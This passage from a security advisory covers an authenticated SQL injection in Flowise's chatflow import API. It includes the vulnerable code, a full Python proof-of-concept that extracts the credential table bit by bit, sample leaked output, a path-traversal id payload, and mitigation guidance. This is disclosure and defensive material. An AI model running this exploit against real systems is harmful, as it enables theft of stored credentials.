count += 1
})
const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)
.createQueryBuilder('cf')
.select('cf.id')
.where(`cf.id IN ${ids}`) // <===== here
.getMany()
const foundIds = selectResponse.map((response) => {
return response.id
})
It changes like SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}') by the code above.
When ') {Malicious SQL Query} -- is passed to newChatflow.id, SQL Injection occurs.
PoC
import argparse
import requests
def import_chatflows(
url: str,
token: str,
payload: dict
):
response = requests.post(
f'{url}/api/v1/chatflows/importchatflows',
headers={
'Authorization': f'Bearer {token}'
# 'Authorization': f'Basic {token}'
},
json=payload
)
return response.json()
def import_normal_data(
api_url: str,
token: str,
normal_data: str
):
data_id = 'aaaaaa'
payload = {
"Chatflows": [
{
"id": data_id,
"name": normal_data,
"flowData": "{}"
}
]
}
import_chatflows(
url=api_url,
token=token,
payload=payload
)
return data_id
def get_character(
api_url: str,
token: str,
data_id: str,
column_name: str,
index: int
):
injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'
def create_payload(
c: int
):
return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "
chatflows_json = {
"Chatflows": [
{
"id": "",
"name": data_id,
"flowData": "{}"
}
]
}
bitbox = [
64, 32, 16, 8, 4, 2, 1
]
character = 0
for bit in bitbox:
payload = create_payload(c=character + bit)
chatflows_json['Chatflows'][0]['id'] = payload
res = import_chatflows(
url=api_url,
token=token,
payload=chatflows_json
)
if 'DOUBLE value is out of range' in res['message']:
# character is more then bit
character += bit
else:
# character is less then bit
character += 0
return chr(character)
def get_length(
api_url: str,
token: str,
data_id: str,
column_name: str
):
injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'
def create_payload(
c: int
):
return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "
chatflows_json = {
"Chatflows": [
{
"id": "",
"name": data_id,
"flowData": "{}"
}
]
}
column_len = 0
bitbox = [
256, 128, 64, 32, 16, 8, 4, 2, 1
]
for bit in bitbox:
payload = create_payload(c=column_len + bit)
chatflows_json['Chatflows'][0]['id'] = payload
res = import_chatflows(
url=api_url,
token=token,
payload=chatflows_json
)
if 'DOUBLE value is out of range' in res['message']:
# column_len is more then bit
column_len += bit
else:
# column_len is less then bit
column_len += 0
return column_len
def main(
url: str,
token: str
):
api_url = url
column_box = [
'credentialName',
'encryptedData'
]
data_id = import_normal_data(
api_url=api_url,
token=token,
normal_data='flow01'
)
for column_name in column_box:
column_len = get_length(
api_url=api_url,
token=token,
data_id=data_id,
column_name=column_name
)
print(f'[+] {column_name} length is {column_len}')
result = ''
for i in range(column_len):
result += get_character(
api_url=api_url,
token=token,
data_id=data_id,
column_name=column_name,
index=i + 1
)
print(f'[+] {column_name}: {result}')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument(
'--url',
type=str,
default='http://flowise:3000'
)
parser.add_argument(
'--access',
type=str,
required=True,
help='Get from http://flowise:3000/apikey'
)
m_args = parser.parse_args()
main(
url=m_args.url,
token=m_args.access
)
poc results: encryptedData from flowise database credential table was successfully leaked.
/app # python ex2.py --url http://flowise:3000 --access "blahblah~~~"
[+] credentialName length is 9
[+] credentialName: openAIApi
[+] encryptedData length is 88
[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==
It is recommended to limit all chatflow ids & chat ids to UUID.
Impact
- Database leak
- Lateral Movement
Severity
5.9 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.2.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-71332"
],
"database_specific": {
"cwe_ids": [
"CWE-564"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-07T18:55:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nimport functions are vulnerable.\n* [importChatflows](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/chatflows/index.ts#L219)\n* [importTools](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/tools/index.ts#L85)\n* [importVariables](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/variables/index.ts)\n\n### Details\n**Authenticated user** can call importChatflows API, import json file such as `AllChatflows.json`.\nbut Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.\n\n**Issue 1 (Bug Type)**\n1. Malicious user creates `AllChatflows.json` file by adding `../` and arbitrary path to the chatflow.id of the json file.\n ```json\n {\n \"Chatflows\": [\n {\n \"id\": \"../../../../../../apikey\",\n \"name\": \"clickme\",\n \"flowData\": \"{}\"\n }\n ]\n }\n ```\n2. Victim download this file, and import this to flowise.\n3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.\n\n**Issue 2 (Vulnerability Type)**\nimportChatflows API use unsafe SQL Query.\n\n```javascript\n// packages/server/src/services/chatflows/index.ts\nconst importChatflows = async (newChatflows: Partial\u003cChatFlow\u003e[]): Promise\u003cany\u003e =\u003e {\n try {\n const appServer = getRunningExpressApp()\n\n // step 1 - check whether file chatflows array is zero\n if (newChatflows.length == 0) return\n\n // step 2 - check whether ids are duplicate in database\n let ids = \u0027(\u0027\n let count: number = 0\n const lastCount = newChatflows.length - 1\n newChatflows.forEach((newChatflow) =\u003e {\n ids += `\u0027${newChatflow.id}\u0027` // \u003c===== user input\n if (lastCount != count) ids += \u0027,\u0027\n if (lastCount == count) ids += \u0027)\u0027\n count += 1\n })\n\n const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)\n .createQueryBuilder(\u0027cf\u0027)\n .select(\u0027cf.id\u0027)\n .where(`cf.id IN ${ids}`) // \u003c===== here\n .getMany()\n const foundIds = selectResponse.map((response) =\u003e {\n return response.id\n })\n```\nIt changes like `SELECT cf.id FROM cf WHERE cf.id IN (\u0027{USER-INPUT...}\u0027)` by the code above.\nWhen `\u0027) {Malicious SQL Query} --` is passed to newChatflow.id, SQL Injection occurs.\n\n### PoC\n```python\nimport argparse\nimport requests\n\n\ndef import_chatflows(\n url: str,\n token: str,\n payload: dict\n):\n response = requests.post(\n f\u0027{url}/api/v1/chatflows/importchatflows\u0027,\n headers={\n \u0027Authorization\u0027: f\u0027Bearer {token}\u0027\n # \u0027Authorization\u0027: f\u0027Basic {token}\u0027\n },\n json=payload\n )\n\n return response.json()\n\n\ndef import_normal_data(\n api_url: str,\n token: str,\n normal_data: str\n):\n data_id = \u0027aaaaaa\u0027\n\n payload = {\n \"Chatflows\": [\n {\n \"id\": data_id,\n \"name\": normal_data,\n \"flowData\": \"{}\"\n }\n ]\n }\n\n import_chatflows(\n url=api_url,\n token=token,\n payload=payload\n )\n return data_id\n\n\ndef get_character(\n api_url: str,\n token: str,\n data_id: str,\n column_name: str,\n index: int\n):\n injection_query = f\u0027(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)\u0027\n\n def create_payload(\n c: int\n ):\n return f\"{data_id}\u0027) and if (({injection_query})\u003c{c}, 0, 9e300 * 9e300); -- \"\n\n chatflows_json = {\n \"Chatflows\": [\n {\n \"id\": \"\",\n \"name\": data_id,\n \"flowData\": \"{}\"\n }\n ]\n }\n\n bitbox = [\n 64, 32, 16, 8, 4, 2, 1\n ]\n character = 0\n for bit in bitbox:\n payload = create_payload(c=character + bit)\n chatflows_json[\u0027Chatflows\u0027][0][\u0027id\u0027] = payload\n\n res = import_chatflows(\n url=api_url,\n token=token,\n payload=chatflows_json\n )\n if \u0027DOUBLE value is out of range\u0027 in res[\u0027message\u0027]:\n # character is more then bit\n character += bit\n else:\n # character is less then bit\n character += 0\n\n return chr(character)\n\n\ndef get_length(\n api_url: str,\n token: str,\n data_id: str,\n column_name: str\n):\n injection_query = f\u0027(SELECT length({column_name}) FROM credential limit 0,1)\u0027\n\n def create_payload(\n c: int\n ):\n return f\"{data_id}\u0027) and if (({injection_query})\u003c{c}, 0, 9e300 * 9e300); -- \"\n\n chatflows_json = {\n \"Chatflows\": [\n {\n \"id\": \"\",\n \"name\": data_id,\n \"flowData\": \"{}\"\n }\n ]\n }\n\n column_len = 0\n bitbox = [\n 256, 128, 64, 32, 16, 8, 4, 2, 1\n ]\n for bit in bitbox:\n payload = create_payload(c=column_len + bit)\n chatflows_json[\u0027Chatflows\u0027][0][\u0027id\u0027] = payload\n\n res = import_chatflows(\n url=api_url,\n token=token,\n payload=chatflows_json\n )\n if \u0027DOUBLE value is out of range\u0027 in res[\u0027message\u0027]:\n # column_len is more then bit\n column_len += bit\n else:\n # column_len is less then bit\n column_len += 0\n\n return column_len\n\n\ndef main(\n url: str,\n token: str\n):\n api_url = url\n\n column_box = [\n \u0027credentialName\u0027,\n \u0027encryptedData\u0027\n ]\n\n data_id = import_normal_data(\n api_url=api_url,\n token=token,\n normal_data=\u0027flow01\u0027\n )\n\n for column_name in column_box:\n column_len = get_length(\n api_url=api_url,\n token=token,\n data_id=data_id,\n column_name=column_name\n )\n\n print(f\u0027[+] {column_name} length is {column_len}\u0027)\n\n result = \u0027\u0027\n for i in range(column_len):\n result += get_character(\n api_url=api_url,\n token=token,\n data_id=data_id,\n column_name=column_name,\n index=i + 1\n )\n\n print(f\u0027[+] {column_name}: {result}\u0027)\n\n\nif __name__ == \u0027__main__\u0027:\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \u0027--url\u0027,\n type=str,\n default=\u0027http://flowise:3000\u0027\n )\n parser.add_argument(\n \u0027--access\u0027,\n type=str,\n required=True,\n help=\u0027Get from http://flowise:3000/apikey\u0027\n )\n\n m_args = parser.parse_args()\n\n main(\n url=m_args.url,\n token=m_args.access\n )\n```\n\n**poc results: encryptedData from flowise database credential table was successfully leaked.**\n```\n/app # python ex2.py --url http://flowise:3000 --access \"blahblah~~~\"\n[+] credentialName length is 9\n[+] credentialName: openAIApi\n[+] encryptedData length is 88\n[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==\n```\n\nIt is recommended to limit all chatflow ids \u0026 chat ids to UUID.\n\n### Impact\n* Database leak\n* Lateral Movement",
"id": "GHSA-9c4c-g95m-c8cp",
"modified": "2026-06-24T13:01:22Z",
"published": "2025-04-07T18:55:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9c4c-g95m-c8cp"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/4226"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "FlowiseDB vulnerable to SQL Injection by authenticated users"
}
Mitigation
Requirements
A non-SQL style database which is not subject to this flaw may be chosen.
Mitigation
Architecture and Design
Follow the principle of least privilege when creating user accounts to a SQL database. Users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data.
Mitigation MIT-15
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
Implementation
Implement SQL strings using prepared statements that bind variables. Prepared statements that do not bind variables can be vulnerable to attack.
Mitigation
Implementation
Use vigorous allowlist style checking on any user input that may be used in a SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that have been entered in the database may neglect to escape meta-characters before use. Narrowly define the set of safe characters based on the expected value of the parameter in the request.
CAPEC-109: Object Relational Mapping Injection
An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.